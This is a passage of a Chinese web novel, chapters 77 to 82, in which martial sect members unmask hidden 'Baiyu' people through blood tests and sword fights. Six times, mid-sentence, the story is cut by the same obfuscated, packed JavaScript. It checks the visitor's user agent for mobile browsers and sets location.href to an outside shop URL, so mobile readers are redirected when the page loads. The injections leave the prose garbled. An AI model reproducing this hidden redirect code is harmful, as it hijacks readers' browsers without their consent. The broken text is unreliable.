司徒意看着他,眼中闪过一丝疑虑,问道:“什么条件?” 他深吸一口气,然后认真地说:“以姑娘的身份在这里生活下去。” 听到这个要求,司徒意的脸色瞬间变得阴沉,他的内心充满了抵触。毕竟,他之所以逃出来就是想以男性的身份生活下去。然而,经过一番思考后,他最终还是点了点头,表示同意。 就这样,司徒意在这个地方开始了新的生活。他很快结识了两个好朋友——方景明与柳春和。一个性子温柔,一个性子单纯。不仅如此,这里的县令金益冬也是一个非常和蔼可亲的人,他毫无官员的架子,经常与百姓们打成一片。如果不看他身上那件官服,谁能想到他竟然是堂堂一县之长呢? 就这样,时间一天天过去,日子过得很平静,没有什么波澜壮阔的事情发生。然而,这中间也并非完全一帆风顺。尽管司徒信偶尔会来这里小住几天,但他一直不想让其他人知道自己的真实身份,所以每次都是偷偷摸摸地与司徒信见面。 有一天,司徒信送他回家时,不巧正好被柳春和撞见。当时的情景有些尴尬,不过柳春和并没有多问,只是默默地看了他们一眼后便转身离去。自那天之后,不知是否是他的错觉,他总感觉柳春和似乎开始有意无意地靠近他。实际上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170824|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一直不太习惯与他人有过多的身体接触,可柳春和却总是表现得若无其事,仿佛一切都很自然,反而让他怀疑起自己是否过于敏感、想得太多。 此外,还有一个令他头痛不已的问题——方景明。这个家伙总是毫不掩饰地对他表达着爱慕之情。平时,如果柳春和在场,他还能以开玩笑的方式调侃一下方景明,提醒他不要抱有不切实际的幻想。可是当只有他和方景明两个人相处时,他实在无法直视对方的眼睛。好几次,他几乎忍不住想要告诉方景明:“你搞错对象了,我是个男人啊!”但最终还是忍住了没说出口。 就在几天前,司徒意前往县衙向县尉徐晋述职时,他还未敲门便听到屋内传出交谈声。原本打算稍等片刻再来,但却听到县尉似乎在说着“能否多给一些......”之类的话语。司徒意本无意偷听他人谈话,但另一个人的回应让他震惊不已:“就这一滴,多了没有。” 方景明??!!! 他们究竟在谈论什么?! 司徒意心中涌起一股疑惑与好奇,他透过门缝向内窥视,只见徐晋竟然跪在地上,一脸祈求地望着方景明,似乎在恳求他再给予更多。然而,方景明却冷漠地看着徐晋,对于他的哀求毫无反应。 那个真的是方景明吗? 司徒意不禁心生疑虑,因为在他眼中,方景明一直以来都是一个性子温和、善解人意的人。相识多年,他从未见过方景明生气发火,即使被柳春和提着耳朵责骂,他也总是笑嘻嘻地应对。这样的反差令他感到困惑与不解。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第77章 冷静 方景明的目光紧紧锁定在那个簪子上,心中涌起一股难以言喻的复杂情感。那天,他恍恍惚惚地回到家中后,才惊觉簪子不翼而飞。可他匆忙返回去寻找时,不仅簪子消失无踪,就连司徒意也不见踪影。 他又心急火燎地赶到柳春和家门前,可行至中途脚步却突然变得沉重起来,仿佛有千斤重担压在身上。他呆呆地站在门口,久久无法鼓起勇气抬手敲门。他不知道自己是如何回到家中躺在床上的,只记得再次醒来时,右臂的伤口让他疼痛难忍。 由于右臂受伤严重,导致那天他在面对那伙盗匪时,总是感觉那只握刀的右手软绵绵的,毫无力气。一瞬间的疏忽大意,便被那狡猾的盗匪趁机偷袭,一刀刺进了腰侧,令他顿时倒了下去。 他从小到大几乎没有受过这么严重的伤,这还是破天荒头一遭。那伤口犹如千万只蚂蚁啃噬般,痛得让人难以忍受,哪怕现在已是深秋时节,他依旧疼得满头大汗。可他的脑海中却忽然浮现出了那个夜晚,想起司徒意在遭受他多次刀刺后竟然没有吭过一声。 “中律司要找的那些人,你们知道究竟是谁吗?”方景明再次抬起头的时候,脸上已经完全恢复了冷静和理智。 他缓慢地伸出一只手,摸索到身旁隐藏着的一把小刀,毫不犹豫地划破自己的手指,鲜血立刻顺着刀刃流淌下来。 江洵敏锐地察觉到了他的举动,一只,背在身后的那只手始终保持着高度警惕。而一旁的傅霖则只是轻轻咳嗽了一声,然后拿起发簪指向方景明,语气平静地说道:“冷静。” “我很冷静。”方景明咬牙切齿道。 “中律司执行任务,我们这些外人怎么可能了解其中详情呢?不过,我倒是听说那个盗匪团伙的头目至今下落不明,也许这些人就是来抓捕他的吧。” “盗匪的事儿交给衙门就足以应对!没必要惊动中律司!”方景明并不相信傅霖的这番话,握住刀子的手始终没放下。 “那方公子认为,是来抓谁的呢?”傅霖笑着抬眸,凝视着眼前的方景明,仿佛一头在等待猎物自己扑上来的狼。 方景明此刻也顾不得身上的伤口了,强忍着疼痛,一个箭步冲了上去,他并没有直接把刀对准傅霖,而是选择攻击离自己比较近且看起来没那么难缠的江洵。只要能刺中江洵一次,那他就赢了。 毕竟如果他死了,江洵也没得活! 江洵没想到他会突然对自己出手,仓促之下只能侧身躲开,方景明一刀落空后,立刻又挥出第二刀,江洵不敢大意,迅速后退几步,拉开与对方的距离。同时召唤出献岁,打算与方景明过招,只是在他还没有所行动的时候,听到了傅霖不疾不徐的说了句:“别动。” 只见方才还坐在躺椅上的傅霖瞬间来到方景明身后,手中的发簪刺向他的背心,方景明察觉到背后有危险,急忙转身挥刀抵挡,但还是被发簪划破了衣袖。 “偷袭?”方景明咬牙切齿地问道。眼神凶狠地盯着傅霖和江洵,心中暗自思忖,这两人身手都不弱,尤其是傅霖,动作敏捷,让他有些忌惮。 “哎,这是哪儿的话!顶多算趁人之危罢了,而且这还是跟方公子现学的,依公子看,学的如何?”傅霖微微一笑,眼中透露着赤裸裸的轻蔑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170825|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方景明哪里有时间和傅霖争执,他只想赶紧解决掉眼前这个麻烦!只见他举起手中的刀子,再次朝身前的江洵发起攻击。然而,江洵这次的反应速度极快,他那柔软的身体灵活地向后仰去,刀子堪堪从他面前划过。 方景明抓住江洵起身的瞬间,准备用同样的招式再来一次,但就在他等待江洵起身时,突然感到腰间一阵刺痛。原来,江洵早就料到他心中所想,趁其不备,反手给了他一刀。 与此同时,一根簪子如闪电般从后方飞来,径直穿过方景明提刀的手腕,最后稳稳地钉在墙壁上。方景明因剧痛而松开了握着的刀,短刀与他的身体一同跌落在地。他惊恐地大口喘息着,试图通过这种方式来减轻痛苦。 一时间,他不知应该先处理腰部侧面的伤口还是手腕上的伤口。 “我说过,冷静。”傅霖冷漠地俯视着地上的方景明,眼中充满了不屑,仿佛在看着一只微不足道的蝼蚁。“为何就是这般不听话?”傅霖蹙眉,眼中闪过一丝怒色,声音低沉地说道。 话落,他猛地抬起脚,朝着方景明的胸口狠狠地踹去。方景明毫无防备,被这突如其来的一击直接踢到了墙角处,身体重重地撞在了墙面上。墙面因为受到猛烈的撞击,导致插在上面的簪子摇晃不已,最终掉落下来,在方景明面前碎成了三段。 “说说吧,那天晚上都发生了什么。”傅霖语气冷漠地对方景明说道。随后,又坐回到躺椅上,随手朝方景明扔了一个药瓶过去,细心的让他先用这个药瓶中的药物止血,仿佛刚才什么都没有发生过一样。 这章没有结束,请点击下一页继续阅读! 第78章 有诈 回到柳春和家中以后,江洵和傅霖将那天晚上的来龙去脉告诉了秦在锦等人。听完后,司徒信立刻拿起剑,怒气冲冲的起身离开。但被秦在锦眼疾手快的一把拉住了,焦急地冲司徒信喊道:“你冷静一点!” 司徒信冷冷地看了秦在锦一眼,眼中闪过一丝杀意,低声喝道:“放手!”秦在锦皱着眉头安抚道:“我并非是要拦着你不让你去报仇,只是我们几人酉时之前就要离开这里,届时我们都走了,那留在这儿养伤的司徒意怎么办?你放心让他一个人在这儿吗?”他说这话的时候还无意间瞟了一眼柳春和,暗示司徒信,这可还坐着一位图谋不轨的人呢! 柳春和没有理会秦在锦那不信任的眼神,只是疑惑地问道:“为何要在酉时之前离开?” “因为赶着回去吃饭啊,回晚了就没得吃。”冬苓撇撇嘴接话道。 但柳春和显然并不相信她的这番说辞,如果他们已经得知方景明就是白瑜人,那么为何没有怀疑自己的身份?毕竟她可是同方景明打小儿就认识的。而且,司徒意短短几年的时间就发现了方景明的秘密,她二十几年会没有发现?他们怎么不问问她为何知道真相却隐瞒不报? 此外,既然他们知道了真相,为什么没有直接将方景明带来交给司徒信处理呢?如果做不到这一点,那将他捆绑起来送到衙门也是可以的。难道仅仅询问了一下事情的前因后果就回来了吗?这似乎不太符合他们两人的做事风格吧?要知道,上午在自己家里时,这两个人可不是这么好说话的。难道他们认为她比较好欺负,所以才会这样对待她吗?可是现在看来,躺在床上无法动弹的方景明岂不是更容易被欺负吗? 只是从眼下的情况来看,她能够想到的最大可能就是江洵等人已经同衙门通风报信了此事,或许明日一早金益冬就会派人来逮捕她和方景明。不过嘛!她早已准备好了为自己推脱罪名的说辞。到时候,她只需将所有责任都推到方景明身上即可,毕竟司徒意身上的伤口确实都是方景明造成的。 还有一点,为何非要在酉时之前离开?酉时之后莫非这里会发生什么事?不行,她不能让几人就这么离开这里。 等秦在锦留下药方和一些药材以后,才将药箱合上,又低头吩咐了几句司徒意伤口需注意的事项,待一切都安排妥当,正打算离开的时候,柳春和快步跟上前去,拦下了他。“你们不考虑把我一同送去衙门吗?不怕我今晚就连夜跑路么?” 秦在锦皱了下眉头,没有回话。而一旁的江洵笑的一脸和煦的走了过来,仿佛丝毫没把柳春和当凶手看待一般,轻声插话道:“不考虑,不怕。” 你就算跑的出上荷,但你也跑不出春平啊!而且她也不是司徒信的对手。 柳春和暗骂了一句,绝对有诈! 几人没有再理会柳春和,转身开了门就走,饶是柳春和有心阻拦,却又无力改变。 等四人前脚儿刚出了上荷村,后脚儿就看到一批相约山的弟子在朝这边急忙走来,而齐明就是走在最前方的一人。 “冬苓师妹,你怎么在这儿?”齐明身旁的一个弟子探头问道。 冬苓低着头支支吾吾半天也没想出个什么正经的理由,就在她打算破罐子破摔的时候,一旁的齐明笑着替她解围道:“我让苓儿提前来探探路。” 此刻的冬苓立即抬头朝齐明投去万分感激的眼神,心中想着:你就是我的亲师兄啊! 于是这回客栈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170826|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路上,就从一开始的四人变成了如今的三人。倘若冬苓这个时候当着门派那么多师兄弟的面儿,再跟他们一起走,那就有些说不过去了。 当三人拖着疲惫的身躯走进客栈时,秦念淑一脸凝重地看了他们一眼,并简要地讲述了一下深塘坞发生的事情。 原来,中律司的几位弟子欲返程的时候,在湖边发现了坞长徐海东惨不忍睹的尸体。经过一番仔细检查和推断,和其身体腐烂的程度来看,可以大致估计出他离世的时间正好是江洵等一行人踏入深塘坞的首日。 然而,令人感到扑朔迷离的是,徐海东的死因并非是出自吴悠或是塘塘之手。他的尸体呈现出明显的中毒症状,但与此同时,心口部位竟赫然存在着一道致命的剑伤!一时让人难以判断他到底是因毒发身亡还是遭受剑击丧命,因为眼下并不知道下毒者与穿心者是否为同一人。 倘若当天对徐海东痛下杀手的并非江洵等人,那就意味着在同一天甚至更早之前,还有其他神秘人物悄然潜入了深塘坞。只是,这些人的目的究竟是什么?为什么要杀掉徐海东呢? 南宫珩在信中提出了自己的看法,他觉得凶手此举很可能是为了杀人灭口,以掩盖某些不可告人的秘密。毕竟,深塘坞发生了如此惊天动地的大事,任何与之相关的线索和证人都有可能威胁到幕后黑手的安全。 不过,尽管南宫珩有所怀疑,但他在审问杨信和李洪泉时,两人均矢口否认与此事有任何关联。他们声称根本没有做出这样的事情,而且对于深塘坞的任务牌为何会突然挂上、又是何人绕过康郡直接投递至隰城,更是一无所知。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第79章 惊云 只见许歆面带微笑,语气轻柔地说道:“既如此,那就烦请秦小姐下车吧。我虽知你的身份绝对没有问题,但这里负责检查的弟子们并不了解情况。所以,还希望秦小姐不要介意,我们也是依照规矩行事。不管是谁,只要进出此地都必须经过验血确认之后才能够通行。” 这时,车内传来了秦念淑那不紧不慢、从容淡定的声音:“能理解。”话音刚落,她便小心翼翼地搀扶着江挽走下了马车。跟在后面的江洵见此情形,立刻翻身下马,快步朝着她们走去。 就在相月山的弟子们纷纷取出弥生符和银针准备上前的时候,突然,那位方才同沈亦行闲聊的中律司弟子回过头朝这边望了一眼,然后嘴角微微上扬,笑着开口喊道:“且慢!” 紧接着,他缓缓站起身来,动作优雅地伸出双手,轻轻地抚平了衣服上由于长时间坐着而产生的褶皱。这人面容俊朗清秀,剑眉星目,五官如雕刻般精致。举手投足之间更是散发出一种独特的气质,那种难以言喻的温文尔雅仿佛与生俱来一般,令人不禁为之侧目。 江洵看着他,竟不由得想起了山里的方知许,只是方知许会给人一种干净的感觉,让人忍不住想要亲近。但此人哪怕是笑着,但却像是笑里藏刀,尤其是那双眼睛里,更多的是阴郁。 莫惊云稳步上前,拱手抱拳,朗声道:“在下乃中律司莫惊云,久仰三阁主大名,今日得见尊颜,实乃三生有幸!不知在下是否有这个荣幸,能够为三阁主做一次测验呢?”虽然他的话语是以询问的口吻说出口,但那张英俊的脸庞上却流露出一种不容置疑的笃定神情。 再瞧一旁的相月山弟子们,当看到莫惊云走来时,他们便已心领神会地自动分站两侧,其中一名弟子更是迅速上前一步,恭恭敬敬地准备将手中紧握的银针递给莫惊云。然而,莫惊云微微摇头,礼貌地拒绝了这名弟子的好意。紧接着,他转头看向江挽,微笑着说道:“依我之见,不如由三阁主亲自出手可好?” 江挽对他的那番恭维面不改色,神色冷峻,随后轻启朱唇,冷冷吐出两个字:“无妨。”话音刚落,她毫不犹豫地朝着莫惊云伸出了自己白皙修长的右手。 莫惊云见状,先是无奈地轻叹一声,然后从怀中小心翼翼地掏出一根细长的银针,以及一张弥生符。只见他手法娴熟地手持银针,轻轻刺破食指指腹处娇嫩的皮肤。就在针尖儿刚刚抽离的那一刹那,殷红的鲜血如泉涌般汩汩而出。江挽不慌不忙地将手腕翻转过来,刹那间,那鲜红的血液便如同断了线的珠子一般,直直地向下方坠落而去。 说时迟那时快,莫惊云眼疾手快,立刻将手中的弥生符向前推送些许。也多亏了这一动作及时到位,那滴即将落地的鲜血才得以稳稳当当的降落在弥生符之中,并未溅落在其他任何地方。 江洵目不转睛地凝视着江挽的弥生符,仿佛整个世界只剩下它一般。一阵尖锐的刺痛从他的手上袭来,但他却仿若未觉,甚至连头都未曾回一下,完全无视那正在抽取他血的相月山弟子。 他的弥生符毫无动静,那鲜红的血液没有变得乌黑,更没有向着四周肆意蔓延开来。而另一边,江挽的弥生符与他的一模一样,也是这般平静无波。 当发现这一情况后,江洵心头高悬的巨石终于轰然落地,整个人瞬间松弛了下来。直到此刻,他才有心思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170827|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头去查看一下自己手中的符纸。然而,还没等他看清,就听到那个相月山的弟子不耐烦地催促起来:“下一个下一个,验完没问题的赶紧出城!” 与此同时,不远处的许歆正亲自检测着秦念淑的符纸。当看到符纸没有丝毫变化时,她的脸上竟然流露出一种难以言喻的失落之感。这细微的表情变化,没能逃过秦念淑那双锐利的眼睛。 秦念淑心中涌起一股强烈的不满情绪。但碍于在场有如此众多之人,她实在不好当场发作,只得冷哼一声,然后转过身去,动作利落地登上了马车。 就在她即将合上帘子之时,又忍不住回过头来,恶狠狠地瞪了沈亦行一眼,那眼神仿佛在说:“瞅瞅你他娘的干的好事儿!” 沈亦行一脸迷惑的回看过来,我又干什么了我? 在江挽正准备登上马车之时,忽然听到身后传来的声音,正是莫惊云那略带担忧的话语:“三阁主,前方山路崎岖难行,夜晚视线不佳,恐有危险,不如等到天亮之后再启程赶路吧。”江挽闻言,想要开口拒绝莫惊云的这个提议。然而,还未等她把话说出口,莫惊云竟像是早已料到一般,自顾自地继续说道:“今晚可是有一场精彩绝伦的好戏上演,如果错过了,那可真是太可惜了。” 就在此时,傅霖也听到了莫惊云所说的话,不禁微微挑起了眉毛,心中暗自思忖道:中律司的人何时变得如此爱多管闲事了?正当傅霖对此感到疑惑之际,一旁的沈亦行却突然凑到他身旁,压低声音问道:“柳春和与方景明相比,哪一个会令你心生戒备?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第80章 脸面 “师父,咱今晚还走吗?”江洵小心翼翼地扶着江洵上车时,压低声音轻声询问道。 江挽盯着眼前略带青涩稚嫩的少年,突然嘴角微微上扬,轻笑出声。这孩子明显是好奇心上来了,但又因担忧自己会有所介怀,于是才故作镇定,前来试探性地问这么一句。可他那希望再多留片刻的小心思早已暴露无遗,全然写在了脸上。 “再等等吧。”话音刚落,只见她玉手轻扬,缓缓掀开帘子,走进车内。 与此同时,一直站在一旁默默观察着一切的秦在锦见状,赶忙凑上前去,满脸狐疑地追问道:“洵儿,你说跑的那个人会不会是方景明?” 傅霖闻声转过头来,目光坚定地摇了摇头,应声道:“不是他。” 秦在锦眉头微皱,疑惑不解地追问:“为何不是?” 因为方景明可是被他们事先喂下了药物,此刻应该浑身无力、动弹不得才对。即便是未曾给他下药,以他那伤痕累累、虚弱不堪的身体状况,若想要下床逃跑,简直比登天还难! 除非他吃了什么灵丹妙药,瞬间恢复了伤口和元气;又或者他拥有通天彻地之能,能够神不知鬼不觉地避开相月山弟子的视线,再成功穿过长老们精心布置的重重结界,但这显然不切实际。 不对,仔细想来,其实也是存在这种可能性的。但这得建立在一个重要的前提之上——那就是相月山的弟子与长老们都只是徒有虚名、外强中干的纸老虎罢了。 “不可能是他!否则就是将我傅霖的脸放在地上踩!”傅霖微微眯起双眸,眼中闪过一丝寒意,嘴角却扬起一抹带着几分邪气的笑容。 一旁的秦在锦望着傅霖脸上那略显诡异的神情,不禁压低声音说道:“霖哥,您要是再这么笑下去,恐怕会被他们当成心怀不轨的恶人给抓起来啊。” 听到这话的傅霖脸色一沉,你在教我做事??? 就在这三人你一句我一句地闲聊之时,谁也没有注意到,在距离城门口大约十余米远的一个拐角处,正躲藏着一道鬼鬼祟祟的身影。 此人不是柳春和,又能是谁呢! 自江洵等人离开之后,她坐在那里反复思考了一番,不断回忆着刚刚那几个人之间的对话。突然间,她犹如醍醐灌顶一般恍然大悟,意识到自己一直以来所关注的重点,也许从一开始就是错误的! 且先不提他与方景明并未真正将司徒意置于死地,哪怕二人当真痛下杀手、致使司徒意命丧黄泉,这起案件也绝非他们这些江湖子弟所能插手调查的。 更何况,以他们的性子,在得知事情的来龙去脉以后,断无可能又不闻不问、草草了事。尤为关键的一点在于,当他们发现方景明乃是白瑜人的真实身份后,竟然未在第一时间向中律司禀报此事! 须知,此等要事可是远比他杀人之举更为严重。 待她大致理清思绪之后,旋即伸手推开房门,迈步朝外走去。抬眼间,只见一群江湖弟子正驻守在巷子口,其中还有那位唤作冬苓的小姑娘。 “咦?那小丫头不是已经离开了吗?怎会在此出现?”柳春和心中暗自思忖道。 然而,尚未容她进一步深思熟虑,忽然感到脖颈处袭来一股寒意。身后站着的司徒信正手持长剑抵住了她的脖颈,倘若那人手中力道再加重些许,毫无疑问必将在她的颈上划出一道血口来。 柳春和站在原地,面色沉静如水,丝毫不见半点惊慌之色。只见她缓缓地伸出手去,动作优雅而从容地将大门紧紧关闭,随后轻盈地转过身来。 她的目光直直地落在面前的司徒信身上,嘴角勾勒出一抹淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170828|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡的笑容,轻声说道:“司徒公子,不知您是否愿意与小女子做一笔交易呢?” 司徒信听她说话时显得有些不耐烦,甚至连看都不愿意多看柳春和一眼。他知道春平最近这段时间可谓是风云变幻、局势动荡不安。特别是今晚在上荷这个小村子,更是暗潮涌动。 面对柳春和提出的所谓交易,司徒信只是冷哼一声,冷冷地回应道:“少在这里啰嗦!本公子没兴趣听你胡言乱语,赶紧回去坐着乖乖待着!” 面对司徒信的冷言冷语,柳春和依然保持着那副镇定自若的神情,继续说道:“只要您肯放我离开这里,我便可以保证让司徒意安然无恙。”说话间,柳春和脖颈处的鲜血正顺着锋利的剑刃缓慢流淌而下,但她连眉头都未曾皱一下,仿佛根本感受不到疼痛一般。 原本还一脸漠然的司徒信突然脸色一变,眼神中闪过一丝慌乱。“你这话是什么意思?”显然,柳春和刚才所说的话已经成功引起了他的注意。 只见柳春和不紧不慢地从怀中掏出一个小巧玲珑的琉璃瓶,瓶子的封口严严实实。透过晶莹剔透的瓶身,可以清晰地看到里面盛装着一种犹如朱砂般鲜艳夺目的红色液体——那正是她口中所说能够保住司徒意性命的关键之物。 柳春和轻轻晃了晃手中的琉璃瓶,微笑着解释道:“这瓶子是用特殊材料炼制的,里面装着我的血,每月中旬只需给司徒意服用一滴,便可保他半年的性命。当然,如果我今日能够侥幸逃脱,那么在半年之后,相同的血液定会准时送达公子手中。可如 果……我今夜不幸丧命于此,那么司徒意也绝对无法撑过下个月。”说到最后一句话时,柳春和的语气骤然变得冰冷起来,眼中闪烁着让人不寒而栗的光芒。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第81章 打脸 “你把柳春和放走了?”冬苓在司徒信没有回答她那个问题的时候就起疑了,尤其是在进屋以后,没有看到柳春和的身影时就更加确定了。 不过她并没有去指责司徒信,因为不是人人都可以做到为了不相干的人,而放弃自己所在意之人的性命。 她自己尚难以做到的事情,又怎会站在道德制高点去要求别人能够大公无私的做到呢? 冬苓把那根沾染了鲜血的银针擦干净,然后小心翼翼地放入腰间另一个布兜之中,紧接着又迅速地从兜里摸出一根崭新的银针来。 她面无表情地看向眼前之人,冷冷说道:“手。”待相同的操作结束之后,冬苓拿起两张毫无异样的弥生符,递给了齐明。同时,用简洁明了的话语向齐明大致说明了此处所发生的一切情况,包括柳春和不见了这一事实。 随后,齐明跟着冬苓进了书房。经过一番仔细搜寻,他们终于察觉到,之前那个藏人的狭窄通道里,脚下的一块地板显得与周围格格不入。冬苓退后一步将地板撬了开来,呈现在眼前的是一条幽深且看不到尽头的地道! 这条地道极为狭小,其尺寸仅仅只够让一名身材娇小的女子以匍匐之姿勉强通过。很显然,这完全是柳春和特意为自身精心设计而成。然而,冬苓并未贸然继续向前深入探索,反倒是缓缓地向后倒退回来。 一直守候在外的齐明见到冬苓走出书房,朝着他轻轻摇摇头时,心中便已明白柳春和肯定早已成功逃离此地。于是,他快步走向院子中央,毫不犹豫地点燃并发射了今日的第一支红色信号筒。随着一道耀眼的红光直冲云霄,瞬间打破了这片宁静夜空的沉寂。 而不远处的相月山长老们,在此之前却显得颇为松散。自从那结界被布下之后,他们便开始闲聊起来,仿佛对此次任务毫不在意。 确实,起初他们几人压根就没有将这个任务太当回事儿。心里琢磨着,不过就是一个小小的村落而已,能容纳的寻常百姓数量本就不多,那这儿又隐藏下多少个白瑜人?再者说了,从任务书上所描述的来看,他们只是要求“找出可能藏匿在此地的白榆人”。如此说来,那此地或许也可能就不存在什么白榆人呢。 然而,当一阵接一阵的青烟腾空而起时,情况瞬间发生了变化。这些原本不以为意的长老们,此时也不得不重新审视起眼前的状况来。 可重视归重视,其内心深处还是不以为意,只因他们对自己布下的结界充满了自信。在他们看来,除非那个人能够像土拨鼠一样掘地三尺挖出一条地道逃之夭夭,否则绝无可能逃脱他们的掌控! 就在这时,其中一位长老正坐在那里闭目养神,兴许是因为等待的时间太长,他甚至都感到有些困倦乏力了。刚刚才打完一个大大的哈欠,嘴巴都还没来得及合拢呢,突然间一抬头,就瞥见了上空弥漫开来的滚滚红烟。刹那间,这位长老的倦意一扫而空,整个人如同被电击了一般,立刻抖擞起精神来,全神贯注地注视着那片诡异的红色烟雾。 柳春和原本心中打定主意要逃往东城门,因为那里守城的官兵中有半数都是与自己相识之人,如此一来,逃脱的几率便会大大增加。然而,前往东城门的道路上,却发现沿途竟然遍布着相月山的弟子。这些弟子们个个神情严肃,手持利刃,显然是在此设下重重关卡,像是提前知道她会走这条路一般。 无奈之下,柳春和只得改变计划,转而朝南城门方向奔去。一路上,她的心始终悬在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170829|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子眼儿,脚步也不敢有丝毫停歇。就在她匆匆路过流芳斋时,不经意间瞥见那扇紧闭的大门。此时此刻,她只能默默祈祷着自己的父母已然顺利逃出城外。 若是柳春和能够再多停留片刻,或许她便能听到从流芳斋内传出的阵阵刀剑相交之声。 事实上,近些日子以来,柳岩承几乎未曾睡过一个安稳觉,常常在床上辗转反侧,苦苦思索着春平为何会突然出现这么多相月山的弟子。 柳岩承也曾多次托人前往衙门打听情况,然而,得到的消息却是这些相月山弟子此行乃是为了铲除城中的盗匪。虽说近日城内的盗窃案件的确有所增多,但还远未达到需要相月山亲自出马的程度。 更有人传言,那些盗匪不知何故得罪了京城中的权贵人物,以至于对方不惜花费重金派遣相月山的高手前来将其捉拿归案。 今日一早,他目不转睛地盯着衙门大牢的方向,终于亲眼看到相月山的大弟子齐明迈着大步走了出去。说是要审问那群盗匪,这一刻,一直悬着的心总算稍稍落回了肚里,紧绷的神经也随之松弛下来。 等回到流芳斋,他又看向了正在忙碌制作糕点的方景明父母。只见夫妇二人一脸愁容,眼中满是对受伤儿子的担忧和心疼。以至于做起糕点来都心不在焉、魂不守舍的,连一些常用的小料都放错了。 有几位客人买回家尝一口后就发觉了味道不对,还特意赶回流芳斋好意提醒,念着这些都是常来光顾的老顾客,夫妇俩连忙赔笑着表示歉意,并承诺会多送上几个糕点作为补偿,那些客人见此也就不再计较,拿了糕点满意地离去。 小主,这个章节后面还有哦,请点击下一页继续阅读,后 面更精彩! 第82章 恩怨 仅仅片刻之间,郑运晨便轻而易举地解决掉了其中一人。随后,他毫不犹豫地转过头来,将矛头对准了还站着的柳岩承。 此时的柳岩承早已心慌意乱,当他亲眼目睹自己的妻子遭受重创时,内心的恐惧与担忧瞬间占据了整个脑海,哪里还能集中精力去应对郑运晨如疾风骤雨般接踵而至的猛烈攻击。 没过多久,柳岩承便因破绽百出而被郑运晨瞅准时机,一剑精准地刺穿了他的右胸。不过,郑运晨似乎有意手下留情,并没有将剑尖指向柳岩承的心脏,显然是想要留下他这条性命。 郑运晨缓缓收回手中的长剑,眼神冰冷地扫向身边的弟子,口中简洁明了地下达命令道:“验血。”听到这话,一旁的弟子立刻心领神会,这时哪还需要再使用银针,只需将弥生符轻轻贴在柳岩承胸口的伤口处即可。 不出所料,柳岩承一家的确都是白榆人的身份。只是不知道他们的女儿——柳春和,此时此刻又藏在哪里。 